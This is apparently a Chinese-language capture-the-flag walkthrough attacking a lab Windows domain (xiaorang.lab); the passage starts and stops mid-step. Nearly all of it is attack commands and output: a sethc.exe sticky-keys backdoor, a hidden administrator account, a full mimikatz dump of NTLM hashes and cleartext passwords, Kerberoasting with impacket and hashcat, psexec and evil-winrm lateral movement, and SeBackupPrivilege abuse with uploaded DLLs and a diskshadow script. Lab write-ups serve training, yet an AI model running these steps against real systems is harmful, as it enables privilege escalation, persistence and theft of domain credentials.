NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户 已知组 S-1-5-113 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签 S-1-16-8192
特权信息
----------------------
特权名 描述 状态
============================= ============== ======
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
用户声明信息
-----------------------
用户声明未知。
已在此设备上禁用对动态访问控制的 Kerberos 支持。
C:\Users\zhangshuai>
proxychains -q evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs
这个权限允许你覆盖系统文件，我们可以用替换粘滞键 (sethc.exe) 的方法。
替换粘滞键为 cmd
cd C:\Windows\System32
# 备份原始的 sethc.exe
move sethc.exe sethc.bak
# 或者
ren C:\windows\system32\sethc.exe C:\windows\system32\sethc.bak
# 将 cmd.exe 复制为 sethc.exe
copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
# 或者
robocopy /b C:\Windows\System32 C:\Windows\System32 cmd.exe sethc.exe
触发粘滞键
现在 锁定屏幕（Win + L）或者在登录界面，连续按 5 次 Shift 键，就会弹出一个 SYSTEM 权限的 CMD 窗口。
rundll32.exe user32.dll,LockWorkStation
添加管理员用户
在弹出 SYSTEM 权限的 CMD 里：
net user hack Admin123. /add
net localgroup Administrators hack /add
net localgroup "Remote Desktop Users" hack /add
用新用户 RDP 登录
查看flag
O~~~~~~~ O~~
O~~ O~~ O~ O~ O~~
O~~ O~~O~ O~~~ O~~ O~~ O~~ O~~ O~~ O~~
O~~~~~~~ O~~ O~~ O~~ O~~ O~~ O~~ O~ O~~ O~~ O~~ O~ O~~
O~~ O~~ O~~ O~~ O~~ O~~ O~~O~~~~~ O~~O~~ O~~O~~~~~ O~~
O~~ O~~ O~~ O~O~~ O~~ O~~O~ O~~ O~~O~
O~~ O~~~ O~~ O~~ O~~O~~~ O~~~~ O~~ O~~~~
O~~
flag03: flag{1374ed45-7e49-48b9-ad57-4565a94cf324}
信息收集
mimikatz
Authentication Id : 0 ; 4820176 (00000000:00498cd0)
Session : RemoteInteractive from 3
User Name : hack
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/8/31 17:03:00
SID : S-1-5-21-754105099-1176710061-2177073800-1002
msv :
[00000003] Primary
* Username : hack
* Domain : XR-0923
* NTLM : 3766c17d09689c438a072a33270cb6f5
* SHA1 : 36109f7276f4bf2a557cf9594a9d4953f49aafd8
tspkg :
wdigest :
* Username : hack
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : hack
* Domain : XR-0923
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 2282852 (00000000:0022d564)
Session : RemoteInteractive from 2
User Name : zhangshuai
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/8/31 16:43:38
SID : S-1-5-21-754105099-1176710061-2177073800-1001
msv :
[00000003] Primary
* Username : zhangshuai
* Domain : XR-0923
* NTLM : f97d5a4b44b11bc257a63c3f76f18a9a
* SHA1 : f6ff2714d556240436758527e190e329f05cd43d
tspkg :
wdigest :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : zhangshuai
* Domain : XR-0923
* Password : wSbEajHzZs
ssp :
credman :
cloudap :
Authentication Id : 0 ; 64850 (00000000:0000fd52)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/31 16:23:30
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 8519c5a89b2cd4d679a5a36f26863e5d
* SHA1 : 42d8188bc30ff0880b838e368c6e5522b86f978d
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : &H!vqg]om0Iz5Pn1NUGod&R9o /!$EK.?jn06+[J*6oZ\A+H?c2;V\(AgGpKw*f0W\vdUf;QoJ/5#DRZDwR@W5U9Io8`;zE7L":Ay-SKpe#>5S?;IL'HarDD
ssp :
credman :
cloudap :
Authentication Id : 0 ; 64832 (00000000:0000fd40)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/31 16:23:30
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : XR-0923$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2026/8/31 16:23:29
SID : S-1-5-20
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xr-0923$
* Domain : XIAORANG.LAB
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 33865 (00000000:00008449)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/31 16:23:29
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 4820147 (00000000:00498cb3)
Session : RemoteInteractive from 3
User Name : hack
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/8/31 17:03:00
SID : S-1-5-21-754105099-1176710061-2177073800-1002
msv :
[00000003] Primary
* Username : hack
* Domain : XR-0923
* NTLM : 3766c17d09689c438a072a33270cb6f5
* SHA1 : 36109f7276f4bf2a557cf9594a9d4953f49aafd8
tspkg :
wdigest :
* Username : hack
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : hack
* Domain : XR-0923
* Password : Admin123.
ssp :
credman :
cloudap :
Authentication Id : 0 ; 4804185 (00000000:00494e59)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/31 17:03:00
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 4803837 (00000000:00494cfd)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/31 17:03:00
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 4801384 (00000000:00494368)
Session : Interactive from 3
User Name : UMFD-3
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/31 17:02:59
SID : S-1-5-96-0-3
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 2282881 (00000000:0022d581)
Session : RemoteInteractive from 2
User Name : zhangshuai
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/8/31 16:43:38
SID : S-1-5-21-754105099-1176710061-2177073800-1001
msv :
[00000003] Primary
* Username : zhangshuai
* Domain : XR-0923
* NTLM : f97d5a4b44b11bc257a63c3f76f18a9a
* SHA1 : f6ff2714d556240436758527e190e329f05cd43d
tspkg :
wdigest :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 2248665 (00000000:00224fd9)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/31 16:43:38
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 2247991 (00000000:00224d37)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/31 16:43:38
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 2247431 (00000000:00224b07)
Session : Interactive from 2
User Name : UMFD-2
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/31 16:43:37
SID : S-1-5-96-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2026/8/31 16:23:32
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2026/8/31 16:23:30
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 33868 (00000000:0000844c)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/31 16:23:29
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : b2 2a 61 d1 4f bd 28 b8 09 af 4f 4b 9f 29 44 e1 7e 7e 86 35 5e 3c 3b d9 95 a2 1c d3 d9 9b 4c f7 84 df b7 98 fd 86 bf dc 6e ed 22 f9 67 18 55 49 cb 5b 73 e6 1e d3 c4 60 6e e8 72 33 ca c6 de c2 27 89 57 40 e6 01 fd 1c d3 f5 57 1a 1d 2d f7 d4 9d de c2 74 31 fc 13 36 3b 32 2e 3e 1d 3f c0 bd 53 5c d7 7a 78 12 f4 4a 8f 77 fb ee d0 9e 42 7a a5 23 01 b2 8b a7 89 c7 32 b2 13 eb 19 55 5f 66 ee a5 1a cb ea 20 e4 0d d3 42 18 97 ff 34 5d ea 53 f3 cf 0f 09 60 38 27 ff 18 9a 00 08 ca 14 76 33 02 c6 79 7f a0 26 52 9f b4 9a 09 ef d2 bf a6 e9 ec 7c f0 ed 41 4a f0 02 d6 29 b4 57 56 c3 83 8b d8 68 90 6f 30 99 f8 f4 2f 9f 84 1c 0f 51 5e 1a 19 c2 88 ba 5d 04 c0 9c b4 b9 81 8f d0 29 98 1b d7 78 36 f1 07 d7 15 2c c0 ec 25 2e 40 d6 f0
ssp :
credman :
cloudap :
Authentication Id : 0 ; 32790 (00000000:00008016)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2026/8/31 16:23:29
SID :
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : XR-0923$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2026/8/31 16:23:29
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xr-0923$
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
cloudap :
有用的用户：
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 5334381a8bb5af8588b7ac0951b38425
* SHA1 : d210e008f99e75798318bf276f22c907b3c51fa4
172.22.14.11
AS-REP Roasting
proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':5334381a8bb5af8588b7ac0951b38425' -dc-ip 172.22.14.11
请求 TGS 票据（导出为 .kirbi 格式）
# 使用 impacket-GetUserSPNs 的 -request 参数
proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':5334381a8bb5af8588b7ac0951b38425' -dc-ip 172.22.14.11 -request-user tianjing
得到：
$krb5tgs$23$*tianjing$XIAORANG.LAB$xiaorang.lab/tianjing*$ddea80e87d2b132001c24fbf7fdcc5b7$5c9955b8b8f8d5f8c7ba2a0f82322266e87fea31c43cf5a30a0e1aa0c998eb521842c39715abbd94ffb59574627001cd39e99946f15729c6a68fd9f21865ebfd56e41a920f48c403fbde5b9c64519491818c6aa99fa5c9bb9f2dcfba567d11693a0c92f3f88d09bae4da334070acbe961072dec4101e10c9d59ad7c633b3d44a8e9a1bb950555e39a0129d2f47f5b4d36dacbe76bf0a57f3b2ce7f3f1889f177590aa0e09c397ac053c29c88c850795d0b3c4b19a582ef2fd2c01b1b903a477757a5b63aaef739b8b07a623c120ff23701461b1c26211c2248d814a7f195cc090449e8b9f91837af1ff825050adb0debbc07f32ca922fcea59b6e12ec992c4eccabee9f72e650de6f74b2b0c492279b98e0ff20dbe7821a7a0960ecc921b768e10b398d363dbc5d39bef0e2bd037d2cd3d06d4dd86adf38fad24d53c4aad67f48980a4e5b233bc1a2797fa8dc85a593ede2194b161988e941d1ee8aa78fc40b5535ca45dc40c2eedb013eba2abbb21d3a91d7ad4446d7a598a74107acead4b9d73eeda9e4a59bb605b2359352fe56a43bebdf5982522c4d9cf2b7bbc42b6851e54192e4b6c1fa1721d29459f1f9e79743349be105fd43762ac05c3a76e12d0748a6d380ef72a1940bc9c54d59e90676242a61561fd0ed833645eed43613427b3a014fc91229351f9ee4654c430548016e260c2b381f16341de3dfeb1891c06215da8b76bfab4fed9c6c5093adb4350913be2b8d1fdfc144ca14f6338414e28f931cda5608d08d877db32813700bf49e134bd367d4d3035934c0a1faf64a0a9629a5ee6569ef2ceb4c36edb0ee750e7cf224c1b4c8b6785797ce0092c78582772b3b1dceee491d846b68d14ab12149e9c408a6c6dd695009cbc43488c77be92a68e6c15601ef3062c43b008a4c885226a1c9653a3c9eab89a907b297f34cd57c1085a21ebbe100c7e60e02d9a3d16c1711c72a9da0bd8c3f51402df805cca5a29710a22f1e65ef4c359d688d95aa24557709d9fd24f4439c237f9becac5260db75757ebd629e1f4e3eec7d67760d9a13aa58612e394449729dc1542c4ab39fb3e7ac3f6ef3a3e15bf0619ff2b93eccdd55e85519ccff91935e878dcbf6754f7f298a4d5167c4cefdb6af07a374f7262fb39bf3d59d0ae7a781d99fd8be25fc898b2d9e735e7e54b15fddc1904075ad0a6abae42a7aeb7a8d04af13f6412364e3c8f5c8d3d40a66d7d73ab606b2b7a98f07235b994e6cea625f4170774e61ee89523500024ec58f7698565a5f8c8545712722cae0b703c992fe1fb69531bc61195b0656397ba32d049fc8ac3ffcdbc20bc85eb4e27e1e1e7776b00dcc6ff3fe89100c395e79d9e3fb846737af9a85acabe1cc77bc1ba75f9210287e7dc37d2256813d568f443931f4f18bf769a268db87d73c64a4957387b9a20ffbe1a1d889776fdd0e5d45187a2b40955a69f9482ee25243aa2395a
破解
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force
得到凭据
tianjing/DPQSXSXgh2
尝试直接横向到DC
proxychains -q python3 psexec.py 'xiaorang.lab/tianjing:DPQSXSXgh2@172.22.14.11'
换winrm
proxychains -q evil-winrm -i 172.22.14.11 -u tianjing -p 'DPQSXSXgh2'
没权限
查看权限
拥有 SeBackupPrivilege 和 SeRestorePrivilege，这两个特权可以让你读取任何受保护的文件
可以用SeBackupPrivilege
1. 先切换到目标目录
cd C:\programdata
mkdir C:\programdata\temp -Forcecd C:\programdata
2. 再上传文件（只写文件名，不带路径）
upload /root/tools/SeBackupPrivilege-main/SeBackupPrivilegeCmdLets.dll SeBackupPrivilegeCmdLets.dll
upload /root/tools/SeBackupPrivilege-main/SeBackupPrivilegeUtils.dll SeBackupPrivilegeUtils.dll
3. 确认文件已上传
dir C:\programdata\*.dll
4、导入模块
Import-Module C:\programdata\SeBackupPrivilegeCmdLets.dll
Import-Module C:\programdata\SeBackupPrivilegeUtils.dll
创建并执行 diskshadow 脚本
# 逐行写入
"set context persistent nowriters" | Out-File C:\programdata\temp\vss.dsh -Encoding ascii
"set metadata C:\programdata\temp\test.cab" | Out-File C:\programdata\temp\vss.dsh -Encoding ascii -Append
"set verbose on" | Out-File C:\programdata\temp\vss.dsh -Encoding ascii -Append
